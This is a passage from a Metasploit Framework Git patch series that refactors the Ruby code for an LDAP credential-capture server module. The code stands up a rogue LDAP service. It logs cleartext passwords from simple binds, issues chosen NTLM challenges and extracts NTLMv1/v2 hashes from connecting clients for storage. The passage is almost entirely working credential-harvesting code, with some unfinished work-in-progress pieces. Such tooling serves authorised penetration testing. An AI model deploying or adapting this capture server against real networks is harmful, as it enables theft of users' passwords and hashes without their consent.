class MetasploitModule < Msf::Auxiliary create_credential_login(login_data) end - - def search_res(filter, msgid, attrflt = :all) - if @ldif.nil? || @ldif.empty? - attrs = [] - if attrflt.is_a?(Array) - attrflt.each do |at| - attrval = [Rex::Text.rand_text_alphanumeric(10)].map(&:to_ber).to_ber_set - attrs << [at.to_ber, attrval].to_ber_sequence - end - dn = "dc=#{Rex::Text.rand_text_alphanumeric(10)},dc=#{Rex::Text.rand_text_alpha(4)}" - appseq = [ - dn.to_ber, - attrs.to_ber_sequence - ].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData) - [msgid.to_ber, appseq].to_ber_sequence - end - else - ldif.map do |bind_dn, entry| - next unless filter.match(entry) - - attrs = [] - entry.each do |k, v| - if attrflt == :all || attrflt.include?(k.downcase) - attrvals = v.map(&:to_ber).to_ber_set - attrs << [k.to_ber, attrvals].to_ber_sequence - end - end - appseq = [ - bind_dn.to_ber, - attrs.to_ber_sequence - ].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData) - [msgid.to_ber, appseq].to_ber_sequence - end.compact.join - end - end - - def encode_ldapsasl_response(msgid, code, dn, msg, creds, tag) - [ - msgid.to_ber, - [ - code.to_ber_enumerated, - dn.to_ber, - msg.to_ber, - [creds.to_ber].to_ber_contextspecific(7) - ].to_ber_appsequence(tag) - ].to_ber_sequence - end - - def parse_type1_domain(message) - domain = nil - workstation = nil - - reqflags = message[12, 4] - reqflags = reqflags.unpack('V').first - - if (reqflags & NTLM_CONST::NEGOTIATE_DOMAIN) == NTLM_CONST::NEGOTIATE_DOMAIN - dom_len = message[16, 2].unpack('v')[0].to_i - dom_off = message[20, 2].unpack('v')[0].to_i - domain = message[dom_off, dom_len].to_s - end - if (reqflags & NTLM_CONST::NEGOTIATE_WORKSTATION) == NTLM_CONST::NEGOTIATE_WORKSTATION - wor_len = message[24, 2].unpack('v')[0].to_i - wor_off = message[28, 2].unpack('v')[0].to_i - workstation = message[wor_off, wor_len].to_s - end - [domain, workstation] - end - - def suitable_response(request) - responses = { - Net::LDAP::PDU::BindRequest => Net::LDAP::PDU::BindResult, - Net::LDAP::PDU::SearchRequest => Net::LDAP::PDU::SearchResult, - Net::LDAP::PDU::ModifyRequest => Net::LDAP::PDU::ModifyResponse, - Net::LDAP::PDU::AddRequest => Net::LDAP::PDU::AddResponse, - Net::LDAP::PDU::DeleteRequest => Net::LDAP::PDU::DeleteResponse, - Net::LDAP::PDU::ModifyRDNRequest => Net::LDAP::PDU::ModifyRDNResponse, - Net::LDAP::PDU::CompareRequest => Net::LDAP::PDU::CompareResponse, - Net::LDAP::PDU::ExtendedRequest => Net::LDAP::PDU::ExtendedResponse - } - - responses[request] - end end From ea189d6c34897f8fd1f3d56ae29dffaa182f9053 Mon Sep 17 00:00:00 2001 From: JustAnda7 Date: Mon, 2 Oct 2023 13:35:28 -0400 Subject: [PATCH 08/21] Changes-to-the-helper-lib --- lib/msf/core/exploit/remote/ldap/server.rb | 37 ++- lib/rex/proto/ldap/auth.rb | 348 ++++++++++++++++++++ lib/rex/proto/ldap/server.rb | 269 +++++++++++----- lib/rex/proto/ldap/server/auth.rb | 352 --------------------- modules/auxiliary/server/capture/ldap.rb | 112 +------ 5 files changed, 578 insertions(+), 540 deletions(-) create mode 100644 lib/rex/proto/ldap/auth.rb delete mode 100644 lib/rex/proto/ldap/server/auth.rb diff --git a/lib/msf/core/exploit/remote/ldap/server.rb b/lib/msf/core/exploit/remote/ldap/server.rb index 683fa0cab1..40f33fe0c4 100644 --- a/lib/msf/core/exploit/remote/ldap/server.rb +++ b/lib/msf/core/exploit/remote/ldap/server.rb @@ -9,9 +9,7 @@ module Msf module Exploit::Remote::LDAP module Server include Exploit::Remote::SocketServer - include Rex::Proto::LDAP::Server::Auth - # # Initializes an exploit module that serves LDAP requests # def initialize(info = {}) @@ -72,6 +70,19 @@ module Msf cli.write(data) end + # Perform the required tasks after pdu object is processed + # Override this method in modules to take flow control + # + def on_processed_pdu(processed_data) + pdu_type = processed_data[:pdu_type] + case pdu_type + when Net::LDAP::PDU::BindRequest + processed_data + else + return + end + end + # # Starts the server # @@ -79,15 +90,25 @@ module Msf comm = _determine_server_comm(bindhost) self.service = Rex::ServiceManager.start( Rex::Proto::LDAP::Server, - bindhost, - bindport, - datastore['LdapServerUdp'], - datastore['LdapServerTcp'], - read_ldif, - comm, + { + bindhost: bindhost, + bindport: bindport, + udp: datastore['LdapServerUdp'], + tcp: datastore['LdapServerTcp'], + ldif: read_ldif, + comm: comm, + challenge: datastore['CHALLENGE'], + domain: datastore['Domain'], + server: datastore['Server'], + dnsname: datastore['DnsName'], + dnsdomain: datastore['DnsDomain'] + }, { 'Msf' => framework, 'MsfExploit' => self } ) + service.processed_pdu_handler do |processed_data| + on_processed_pdu(processed_data) + end service.dispatch_request_proc = proc do |cli, data| on_dispatch_request(cli, data) end diff --git a/lib/rex/proto/ldap/auth.rb b/lib/rex/proto/ldap/auth.rb new file mode 100644 index 0000000000..568b31accd --- /dev/null +++ b/lib/rex/proto/ldap/auth.rb @@ -0,0 +1,348 @@ +require 'net/ldap' +require 'net/ldap/dn' + +module Rex + module Proto + module LDAP + class Auth + NTLM_CONST = Rex::Proto::NTLM::Constants + NTLM_CRYPT = Rex::Proto::NTLM::Crypt + MESSAGE = Rex::Proto::NTLM::Message + + # + # Initialize the required variables + # + # @param opts [Hash] Required authentication options + def initialize(opts = {}) # chech for the options recieved + @domain = opts[:domain] + @server = opts[:server] + @dnsname = opts[:dnsname] + @dnsdomain = opts[:dnsdomain] + @challenge = [ opts[:challenge] ].pack('H*') + end + + # + # Process the incoming LDAP login requests from clients + # + # @param user_login [OpennStruct] User login information + # + # @return auth_info [Hash] Processed authentication information + def process_login_request(user_login) + auth_info = {} + + if user_login.name.empty? && user_login.authentication.empty? # Anonymous + auth_info = handle_anonymous_request(user_login, auth_info) + elsif !user_login.name.empty? # Simple + auth_info = handle_simple_request(user_login, auth_info) + elsif user_login.authentication[0] == 'GSS-SPNEGO' # SASL especially SPNEGO + auth_info = handle_sasl_request(user_login, auth_info) + else + auth_info[:result_code] = Net::LDAP::ResultCodeUnwillingToPerform + end + + auth_info + end + + # + # Handle Anonymous authentication requests + # + # @param user_login [OpennStruct] User login information + # @param auth_info [Hash] Processed authentication information + # + # @return auth_info [Hash] Processed authentication information + def handle_anonymous_request(user_login, auth_info = {}) + if user_login.name.empty? && user_login.authentication.empty? + auth_info[:user] = user_login.name + auth_info[:pass] = user_login.authentication + auth_info[:domain] = nil + auth_info[:result_code] = Net::LDAP::ResultCodeSuccess + auth_info[:auth_type] = 'Anonymous' + + auth_info + end + end + + # + # Handle Simple authentication requests + # + # @param user_login [OpennStruct] User login information + # @param auth_info [Hash] Processed authentication information + # + # @return auth_info [Hash] Processed authentication information + def handle_simple_request(user_login, auth_info = {}) + domains = [] + names = [] + if !user_login.name.empty? + if user_login.name =~ /@/ + pub_info = user_login.name.split('@') + if pub_info.length <= 2 + auth_info[:user], auth_info[:domain] = pub_info + else + auth_info[:result_code] = Net::LDAP::ResultCodeInvalidCredentials + auth_info[:result_message] = "LDAP Login Attempt => From:#{auth_info[:name]} DN:#{user_login.name}" + end + elsif user_login.name =~ /,/ + begin + dn = Net::LDAP::DN.new(user_login.name) + dn.each_pair do |key, value| + if key == 'cn' + names << value + elsif key == 'dc' + domains << value + end + end + auth_info[:user] = names.first + auth_info[:domain] = domains.empty? ? nil : domains.join('.') + rescue InvalidDNError => e + auth_info[:result_message] = "LDAP Login Attempt => From:#{auth_info[:name]} DN:#{user_login.name}" + raise e + end + elsif user_login.name =~ /\\/ + pub_info = user_login.name.split('\\') + if pub_info.length <= 2 + auth_info[:domain], auth_info[:user] = pub_info + else + auth_info[:result_code] = Net::LDAP::ResultCodeInvalidCredentials + auth_info[:result_message] = "LDAP Login Attempt => From:#{auth_info[:name]} DN:#{user_login.name}" + end + else + auth_info[:user] = user_login.name + auth_info[:domain] = nil + auth_info[:result_code] = Net::LDAP::ResultCodeInvalidCredentials + end + auth_info[:private] = user_login.authentication + auth_info[:private_type] = :password + auth_info[:result_code] = Net::LDAP::ResultCodeAuthMethodNotSupported if auth_info[:result_code].nil? + auth_info[:auth_info] = 'Simple' + auth_info + end + end + + # + # Handle SASL authentication requests + # + # @param user_login [OpennStruct] User login information + # @param auth_info [Hash] Processed authentication information + # + # @return auth_info [Hash] Processed authentication information + def handle_sasl_request(user_login, auth_info = {}) + if user_login.authentication[1] =~ /NTLMSSP/ + message = user_login.authentication[1] + + if message[8, 1] == "\x01" + auth_info[:server_creds] = generate_type2_response(message) + auth_info[:result_code] = Net::LDAP::ResultCodeSaslBindInProgress + elsif message[8, 1] == "\x03" + auth_info = handle_type3_message(message, auth_info) + auth_info[:result_code] = Net::LDAP::ResultCodeAuthMethodNotSupported + end + end + auth_info[:auth_type] = 'SASL' + auth_info + end + + + private + + # + # Generate NTLM Type2 response from NTLM Type1 message + # + # @param message [String] NTLM Type1 message + # + # @return server_hash [String] NTLM Type2 response + def generate_type2_response(message) + dom, ws = parse_type1_domain(message) + if dom + @domain = dom + end + if ws + @server = ws + end + mess1 = Rex::Text.encode_base64(message) + server_hash = MESSAGE.process_type1_message(mess1, @challenge, @domain, @server, @dnsname, @dnsdomain) + Rex::Text.decode_base64(server_hash) + end + + # + # Handle NTLM Type3 message + # + # @param message [String] NTLM Type3 message + # @param auth_info [Hash] Processed authentication information + # + # @return auth_info [Hash] Processed authentication information + def handle_type3_message(message, auth_info = {}) + arg = {} + mess2 = Rex::Text.encode_base64(message) + domain, user, host, lm_hash, ntlm_hash = MESSAGE.process_type3_message(mess2) + nt_len = ntlm_hash.length + + if nt_len == 48 # lmv1/ntlmv1 or ntlm2_session + arg = { + ntlm_ver: NTLM_CONST::NTLM_V1_RESPONSE, + lm_hash: lm_hash, + nt_hash: ntlm_hash + } + + if arg[:lm_hash][16, 32] == '0' * 32 + arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE + end + elsif nt_len > 48 # lmv2/ntlmv2 + arg = { + ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE, + lm_hash: lm_hash[0, 32], + lm_cli_challenge: lm_hash[32, 16], + nt_hash: ntlm_hash[0, 32], + nt_cli_challenge: ntlm_hash[32, nt_len - 32] + } + elsif nt_len == 0 + auth_info[:error_msg] = "Empty hash from #{host} captured, ignoring ... " + else + auth_info[:error_msg] = "Unknown hash type from #{host}, ignoring ..." + end + unless arg.nil? + arg[:user] = user + arg[:domain] = domain + arg[:host] = host + arg = process_ntlm_hash(arg) + auth_info = auth_info.merge(arg) + end + auth_info + end + + # + # Process the NTLM Hash received from NTLM Type3 message + # + # @param arg [Hash] authentication information received from Type3 message + # + # @return arg [Hash] Processed NTLM authentication information + def process_ntlm_hash(arg = {}) + ntlm_ver = arg[:ntlm_ver] + lm_hash = arg[:lm_hash] + nt_hash = arg[:nt_hash] + unless ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE || ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE + lm_cli_challenge = arg[:lm_cli_challenge] + nt_cli_challenge = arg[:nt_cli_challenge] + end + domain = Rex::Text.to_ascii(arg[:domain]) + user = Rex::Text.to_ascii(arg[:user]) + host = Rex::Text.to_ascii(arg[:host]) + + case ntlm_ver + when NTLM_CONST::NTLM_V1_RESPONSE + if NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [nt_hash].pack('H*'), + srv_challenge: @challenge, + ntlm_ver: NTLM_CONST::NTLM_V1_RESPONSE, + type: 'ntlm' + }) + arg[:error_msg] = 'NLMv1 Hash correspond to an empty password, ignoring ... ' + return + end + if lm_hash == nt_hash || lm_hash == '' || lm_hash =~ /^0*$/ + lm_hash_message = 'Disabled' + elsif NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [lm_hash].pack('H*'), + srv_challenge: @challenge, + ntlm_ver: NTLM_CONST::NTLM_V1_RESPONSE, + type: 'lm' + }) + lm_hash_message = 'Disabled (from empty password)' + else + lm_hash_message = lm_hash + end + + hash = [ + lm_hash || '0' * 48, + nt_hash || '0' * 48 + ].join(':').gsub(/\n/, '\\n') + arg[:private] = hash + when NTLM_CONST::NTLM_V2_RESPONSE + if NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [nt_hash].pack('H*'), + srv_challenge: @challenge, + cli_challenge: [nt_cli_challenge].pack('H*'), + user: user, + domain: domain, + ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE, + type: 'ntlm' + }) + arg[:error_msg] = 'NTLMv2 Hash correspond to an empty password, ignoring ... ' + return + end + if (lm_hash == '0' * 32) && (lm_cli_challenge == '0' * 16) + lm_hash_message = 'Disabled' + elsif NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [lm_hash].pack('H*'), + srv_challenge: @challenge, + cli_challenge: [lm_cli_challenge].pack('H*'), + user: user, + domain: domain, + ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE, + type: 'lm' + }) + lm_hash_message = 'Disabled (from empty password)' + else + lm_hash_message = lm_hash + end + + hash = [ + lm_hash || '0' * 32, + nt_hash || '0' * 32 + ].join(':').gsub(/\n/, '\\n') + arg[:private] = hash + when NTLM_CONST::NTLM_2_SESSION_RESPONSE + if NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [nt_hash].pack('H*'), + srv_challenge: @challenge, + cli_challenge: [lm_hash].pack('H*')[0, 8], + ntlm_ver: NTLM_CONST::NTLM_2_SESSION_RESPONSE, + type: 'ntlm' + }) + arg[:error_msg] = 'NTLM2_session Hash correspond to an empty password, ignoring ... ' + return + end + + hash = [ + lm_hash || '0' * 48, + nt_hash || '0' * 48 + ].join(':').gsub(/\n/, '\\n') + arg[:private] = hash + else + return + end + arg[:domain] = domain + arg[:user] = user + arg[:host] = host + arg[:private_type] = :ntlm_hash + arg + end + + # + # Parse the NTLM Type1 message to get information + # + # @param message [String] NTLM Type1 Message + # + # @return [domain, workstation] [Array] Domain and Workstation Information + def parse_type1_domain(message) + domain = nil + workstation = nil + + reqflags = message[12, 4] + reqflags = reqflags.unpack('V').first + + if (reqflags & NTLM_CONST::NEGOTIATE_DOMAIN) == NTLM_CONST::NEGOTIATE_DOMAIN + dom_len = message[16, 2].unpack('v')[0].to_i + dom_off = message[20, 2].unpack('v')[0].to_i + domain = message[dom_off, dom_len].to_s + end + if (reqflags & NTLM_CONST::NEGOTIATE_WORKSTATION) == NTLM_CONST::NEGOTIATE_WORKSTATION + wor_len = message[24, 2].unpack('v')[0].to_i + wor_off = message[28, 2].unpack('v')[0].to_i + workstation = message[wor_off, wor_len].to_s + end + [domain, workstation] + end + end + end + end +end diff --git a/lib/rex/proto/ldap/server.rb b/lib/rex/proto/ldap/server.rb index ba13dd5c9b..069e5d7cb2 100644 --- a/lib/rex/proto/ldap/server.rb +++ b/lib/rex/proto/ldap/server.rb @@ -7,7 +7,7 @@ module Rex module Proto module LDAP class Server - attr_reader :serve_udp, :serve_tcp, :sock_options, :udp_sock, :tcp_sock, :syntax, :ldif + attr_reader :serve_udp, :serve_tcp, :sock_options, :udp_sock, :tcp_sock, :syntax, :ldif, :auth_options, :pdu_process module LdapClient attr_accessor :authenticated @@ -51,29 +51,32 @@ module Rex # # Create LDAP Server # - # @param lhost [String] Listener address - # @param lport [Fixnum] Listener port - # @param udp [TrueClass, FalseClass] Listen on UDP socket - # @param tcp [TrueClass, FalseClass] Listen on TCP socket - # @param ldif [String] LDIF data + # @param opts [Hash] Options required to start service # @param ctx [Hash] Framework context for sockets # @param dblock [Proc] Handler for :dispatch_request flow control interception # @param sblock [Proc] Handler for :send_response flow control interception # # @return [Rex::Proto::LDAP::Server] LDAP Server object - def initialize(lhost = '0.0.0.0', lport = 389, udp = true, tcp = true, ldif = nil, comm = nil, ctx = {}, dblock = nil, sblock = nil) - @serve_udp = udp - @serve_tcp = tcp + def initialize(opts = {}, ctx = {}, dblock = nil, sblock = nil) + @serve_udp = opts[:udp] + @serve_tcp = opts[:tcp] @sock_options = { - 'LocalHost' => lhost, - 'LocalPort' => lport, + 'LocalHost' => opts[:bindhost], + 'LocalPort' => opts[:bindport], 'Context' => ctx, - 'Comm' => comm + 'Comm' => opts[:comm] } - @ldif = ldif + @ldif = opts[:ldif] self.listener_thread = nil self.dispatch_request_proc = dblock self.send_response_proc = sblock + @auth_options = { #check for nill cases + challenge: opts[:challenge], + domain: opts[:domain], + server: opts[:server], + dnsname: opts[:dnsname], + dnsdomain: opts[:dnsdomain] + } end # @@ -114,6 +117,10 @@ module Rex end end + if auth_options + @auth_provider = Rex::Proto::LDAP::Auth.new(auth_options) + end + self end @@ -149,76 +156,126 @@ module Rex # # Default LDAP request dispatcher # - # @param cli [Rex::Socket::Tcp, Rex::Socket::Udp] Client sending the request + # @param client [Rex::Socket::Tcp, Rex::Socket::Udp] Client sending the request # @param data [String] raw LDAP request data - def default_dispatch_request(cli, data) - return if data.strip.empty? + def default_dispatch_request(client, data) + return if data.strip.empty? || data.strip.nil? + + state = {} + post_pdu = false + processed_pdu_data = {} + state[client] = { + name: "#{client.peerhost}:#{client.peerport}", + ip: client.peerhost, + port: client.peerport, + service_name: 'ldap' + } data.extend(Net::BER::Extensions::String) begin pdu = Net::LDAP::PDU.new(data.read_ber!(Net::LDAP::AsnSyntax)) - wlog("LDAP request has remaining data: #{data}") if !data.empty? - resp = case pdu.app_tag - when Net::LDAP::PDU::BindRequest # bind request - cli.authenticated = true - encode_ldap_response( - pdu.message_id, - Net::LDAP::ResultCodeSuccess, - '', - '', - Net::LDAP::PDU::BindResult - ) - when Net::LDAP::PDU::SearchRequest # search request - if cli.authenticated - # Perform query against some loaded LDIF structure - treebase = pdu.search_parameters[:base_object].to_s - # ... search, build packet, send to client - encode_ldap_response( - pdu.message_id, - Net::LDAP::ResultCodeNoSuchObject, '', - Net::LDAP::ResultStrings[Net::LDAP::ResultCodeNoSuchObject], - Net::LDAP::PDU::SearchResult - ) - else - service.encode_ldap_response(pdu.message_id, 50, '', 'Not authenticated', Net::LDAP::PDU::SearchResult) - end - when Net::LDAP::PDU::UnbindRequest - nil # close client, no response can be sent over unbound comm - else - service.encode_ldap_response( - pdu.message_id, - Net::LDAP::ResultCodeUnwillingToPerform, - '', - Net::LDAP::ResultStrings[Net::LDAP::ResultCodeUnwillingToPerform], - Net::LDAP::PDU::SearchResult - ) end - resp.nil? ? cli.close : send_response(cli, resp) + vprint_status("LDAP request data remaining: #{data}") unless data.empty? + + res = case pdu.app_tag + when Net::LDAP::PDU::BindRequest + user_login = pdu.bind_parameters + server_creds = '' + processed_pdu_data = @auth_provider.process_login_request(user_login) + processed_pdu_data = processed_pdu_data.merge(state[client]) + if processed_pdu_data[:result_code] == Net::LDAP::ResultCodeSaslBindInProgress + server_creds = processed_pdu_data[:server_creds] + else + processed_pdu_data[:result_message] = "LDAP Login Attempt => From:#{processed_pdu_data[:name]}\n Username:#{processed_pdu_data[:user]}\n #{processed_pdu_data[:private_type]}:#{processed_pdu_data[:private]}\n" + processed_pdu_data[:result_message] += " Domain:#{processed_pdu_data[:domain]}" if processed_pdu_data[:domain] + post_pdu = true + end + processed_pdu_data[:pdu_type] = pdu.app_tag + encode_ldap_response( + pdu.message_id, + processed_pdu_data[:result_code], + '', + Net::LDAP::ResultStrings[processed_pdu_data[:result_code]], + Net::LDAP::PDU::BindResult, + server_creds + ) + when Net::LDAP::PDU::SearchRequest + filter = Net::LDAP::Filter.parse_ldap_filter(pdu.search_parameters[:filter]) + attrs = pdu.search_parameters[:attributes].empty? ? :all : pdu.search_parameters[:attributes] + res = search_result(filter, pdu.message_id, attrs) + if res.nil? || res.empty? + result_code = Net::LDAP::ResultCodeNoSuchObject + else + client.write(res) + result_code = Net::LDAP::ResultCodeSuccess + end + processed_pdu_data[:pdu_type] = pdu.app_tag + encode_ldap_response( + pdu.message_id, + result_code, + '', + Net::LDAP::ResultStrings[result_code], + Net::LDAP::PDU::SearchResult + ) + when Net::LDAP::PDU::UnbindRequest + client.close + nil + else + if suitable_response(pdu.app_tag) + result_code = Net::LDAP::ResultCodeUnwillingToPerform + encode_ldap_response( + pdu.message_id, + result_code, + '', + Net::LDAP::ResultStrings[result_code], + suitable_response(pdu.app_tag) + ) + else + client.close + end + end + + if @pdu_process && post_pdu + @pdu_process.call(processed_pdu_data) + end + send_response(client, res) unless res.nil? rescue StandardError => e - elog(e) - cli.close - raise e + client.close end end # # Encode response for LDAP client consumption # - # @param msgid [Integer] LDAP message identifier - # @param code [Integer] LDAP message code - # @param dn [String] LDAP distinguished name - # @param msg [String] LDAP response message - # @param tag [Integer] LDAP response tag + # @param msgid [Integer] LDAP message identifier + # @param code [Integer] LDAP message code + # @param dn [String] LDAP distinguished name + # @param msg [String] LDAP response message + # @param tag [Integer] LDAP response tag + # @param server_creds [String] LDAP response server SASL credentials # # @return [Net::BER::BerIdentifiedOid] LDAP query response - def encode_ldap_response(msgid, code, dn, msg, tag) - [ - msgid.to_ber, + def encode_ldap_response(msgid, code, dn, msg, tag, server_creds = '') + case code + when Net::LDAP::ResultCodeSaslBindInProgress [ - code.to_ber_enumerated, - dn.to_ber, - msg.to_ber - ].to_ber_appsequence(tag) - ].to_ber_sequence + msgid.to_ber, + [ + code.to_ber_enumerated, + dn.to_ber, + msg.to_ber, + [server_creds.to_ber].to_ber_contextspecific(7) + ].to_ber_appsequence(tag) + ].to_ber_sequence + else + [ + msgid.to_ber, + [ + code.to_ber_enumerated, + dn.to_ber, + msg.to_ber + ].to_ber_appsequence(tag) + ].to_ber_sequence + end end # @@ -228,25 +285,50 @@ module Rex # @param attrflt [Array, Symbol] LDAP attribute filter # # @return [Array] Query matches - def search_ldif(filter, msgid, attrflt = :all) - return [] if @ldif.nil? || @ldif.empty? - - ldif.map do |dn, entry| - next unless filter.match(entry) + def search_result(filter, msgid, attrflt = :all) + if @ldif.nil? || @ldif.empty? attrs = [] - entry.each do |k, v| - if attrflt == :all || attrflt.include?(k.downcase) - attrvals = v.map(&:to_ber).to_ber_set - attrs << [k.to_ber, attrvals].to_ber_sequence + if attrflt.is_a?(Array) + attrflt.each do |at| + attrval = [Rex::Text.rand_text_alphanumeric(10)].map(&:to_ber).to_ber_set + attrs << [at.to_ber, attrval].to_ber_sequence end + dn = "dc=#{Rex::Text.rand_text_alphanumeric(10)},dc=#{Rex::Text.rand_text_alpha(4)}" + appseq = [ + dn.to_ber, + attrs.to_ber_sequence + ].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData) + [msgid.to_ber, appseq].to_ber_sequence end - appseq = [ - dn.to_ber, - attrs.to_ber_sequence - ].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData) - [msgid.to_ber, appseq].to_ber_sequence - end.compact + else + ldif.map do |bind_dn, entry| + next unless filter.match(entry) + + attrs = [] + entry.each do |k, v| + if attrflt == :all || attrflt.include?(k.downcase) + attrvals = v.map(&:to_ber).to_ber_set + attrs << [k.to_ber, attrvals].to_ber_sequence + end + end + appseq = [ + bind_dn.to_ber, + attrs.to_ber_sequence + ].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData) + [msgid.to_ber, appseq].to_ber_sequence + end.compact.join + end + end + + # + # Sets the tasks to be performed after processing of pdu object + # + # @param proc [Proc] block of code to execute + # + # @return pdu_process [Proc] steps to be executed + def processed_pdu_handler(&proc) + @pdu_process = proc if block_given? end # @@ -256,6 +338,27 @@ module Rex "#{args[0] || ''}-#{args[1] || ''}-#{args[4] || ''}" end + # + # Get suitable response for a particular request + # + # @param request [Integer] Type of request + # + # @return response [Integer] Type of response + def suitable_response(request) + responses = { + Net::LDAP::PDU::BindRequest => Net::LDAP::PDU::BindResult, + Net::LDAP::PDU::SearchRequest => Net::LDAP::PDU::SearchResult, + Net::LDAP::PDU::ModifyRequest => Net::LDAP::PDU::ModifyResponse, + Net::LDAP::PDU::AddRequest => Net::LDAP::PDU::AddResponse, + Net::LDAP::PDU::DeleteRequest => Net::LDAP::PDU::DeleteResponse, + Net::LDAP::PDU::ModifyRDNRequest => Net::LDAP::PDU::ModifyRDNResponse, + Net::LDAP::PDU::CompareRequest => Net::LDAP::PDU::CompareResponse, + Net::LDAP::PDU::ExtendedRequest => Net::LDAP::PDU::ExtendedResponse + } + + responses[request] + end + # # LDAP server. # diff --git a/lib/rex/proto/ldap/server/auth.rb b/lib/rex/proto/ldap/server/auth.rb deleted file mode 100644 index 39d50d995a..0000000000 --- a/lib/rex/proto/ldap/server/auth.rb +++ /dev/null @@ -1,352 +0,0 @@ -require 'net/ldap' -require 'net/ldap/dn' - -module Rex - module Proto - module LDAP - module Server - class Auth - NTLM_CONST = Rex::Proto::NTLM::Constants - NTLM_CRYPT = Rex::Proto::NTLM::Crypt - MESSAGE = Rex::Proto::NTLM::Message - - def process_login_request(user_login) - auth_info = {} - - if user_login.name.empty? && user_login.authentication.empty? # Anonymous - auth_info = handle_anonymous_request(user_login, auth_info) - elsif !user_login.name.empty? # Simple - auth_info = handle_simple_request(user_login, auth_info) - elsif user_login.authentication[0] == 'GSS-SPNEGO' # SASL especially SPNEGO - auth_info = handle_sasl_request(user_login, auth_info) - else - auth_info[:result_code] = Net::LDAP::ResultCodeUnwillingToPerform - end - - auth_info - end - - def handle_anonymous_request(user_login, auth_info = {}) - if user_login.name.empty? && user_login.authentication.empty? - auth_info[:user] = user_login.name - auth_info[:pass] = user_login.authentication - auth_info[:domain] = nil - auth_info[:result_code] = Net::LDAP::ResultCodeSuccess - auth_info[:auth_type] = 'Anonymous' - - auth_info # think about the else ccondition - end - end - - def handle_simple_request(user_login, auth_info = {}) - domains = [] - names = [] - if !user_login.name.empty? - if user_login.name =~ /@/ - pub_info = user_login.name.split('@') - if pub_info.length <= 2 - auth_info[:user], auth_info[:domain] = pub_info - else - auth_info[:result_code] = Net::LDAP::ResultCodeInvalidCredentials - auth_info[:result_message] = "LDAP Login Attempt => From:#{auth_info[:name]} DN:#{user_login.name}" - end - elsif user_login.name =~ /,/ - begin - dn = Net::LDAP::DN.new(user_login.name) - dn.each_pair do |key, value| - if key == 'cn' - names << value - elsif key == 'dc' - domains << value - end - end - auth_info[:user] = names.first - auth_info[:domain] = domains.empty? ? nil : domains.join('.') - rescue InvalidDNError => e - auth_info[:result_message] = "LDAP Login Attempt => From:#{auth_info[:name]} DN:#{user_login.name}" - raise e - end - elsif user_login.name =~ /\\/ - pub_info = user_login.name.split('\\') - if pub_info.length <= 2 - auth_info[:domain], auth_info[:user] = pub_info - else - auth_info[:result_code] = Net::LDAP::ResultCodeInvalidCredentials - auth_info[:result_message] = "LDAP Login Attempt => From:#{auth_info[:name]} DN:#{user_login.name}" - end - else - auth_info[:user] = user_login.name - auth_info[:domain] = nil - auth_info[:result_code] = Net::LDAP::ResultCodeInvalidCredentials - end - auth_info[:private] = user_login.authentication - auth_info[:private_type] = :password - auth_info[:result_code] = Net::LDAP::ResultCodeAuthMethodNotSupported if auth_info[:result_code].nil? - auth_info[:auth_info] = 'Simple' - auth_info - end - end - - def handle_sasl_request(user_login, auth_info = {}) - if user_login.authentication[1] =~ /NTLMSSP/ - message = user_login.authentication[1] - - if message[8, 1] == "\x01" - auth_info[:ntlm_t2] = generate_type2_response - auth_info[:result_code] = Net::LDAP::ResultCodeSaslBindInProgress - elsif message[8, 1] == "\x03" - auth_info = handle_type3_message(message, auth_info) - auth_info[:result_code] = Net::LDAP::ResultCodeAuthMethodNotSupported - end - end - auth_info[:auth_type] = 'SASL' - auth_info - end - - def generate_type2_response - domain = datastore['Domain'] - server = datastore['Server'] # parse the domain and everythingfrom the type 1 received - dnsname = datastore['DnsName'] - dnsdomain = datastore['DnsDomain'] - challenge = [ datastore['CHALLENGE'] ].pack('H*') - dom, ws = parse_type1_domain(message) - if dom - domain = dom - end - if ws - server = ws - end - mess1 = Rex::Text.encode_base64(message) - hsh = MESSAGE.process_type1_message(mess1, @challenge, domain, server, dnsname, dnsdomain) - chalhash = Rex::Text.decode_base64(hsh) - chalhash - end - - def handle_type3_message(message, auth_info = {}) - arg = {} - mess2 = Rex::Text.encode_base64(message) - domain, user, host, lm_hash, ntlm_hash = MESSAGE.process_type3_message(mess2) - nt_len = ntlm_hash.length - - if nt_len == 48 # lmv1/ntlmv1 or ntlm2_session - arg = { - ntlm_ver: NTLM_CONST::NTLM_V1_RESPONSE, - lm_hash: lm_hash, - nt_hash: ntlm_hash - } - - if arg[:lm_hash][16, 32] == '0' * 32 - arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE - end - elsif nt_len > 48 # lmv2/ntlmv2 - arg = { - ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE, - lm_hash: lm_hash[0, 32], - lm_cli_challenge: lm_hash[32, 16], - nt_hash: ntlm_hash[0, 32], - nt_cli_challenge: ntlm_hash[32, nt_len - 32] - } - elsif nt_len == 0 - auth_info[:error_msg] = "Empty hash from #{host} captured, ignoring ... " - else - auth_info[:error_msg] = "Unknown hash type from #{host}, ignoring ..." - end - unless arg.nil? - arg[:user] = user - arg[:domain] = domain - arg[:host] = host - arg = process_ntlm_hash(arg) - auth_info = auth_info.merge(arg) - end - auth_info - end - - - def process_ntlm_hash(arg = {}) - ntlm_ver = arg[:ntlm_ver] - lm_hash = arg[:lm_hash] - nt_hash = arg[:nt_hash] - unless ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE || ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE - lm_cli_challenge = arg[:lm_cli_challenge] - nt_cli_challenge = arg[:nt_cli_challenge] - end - domain = Rex::Text.to_ascii(arg[:domain]) - user = Rex::Text.to_ascii(arg[:user]) - host = arg[:host] - challenge = 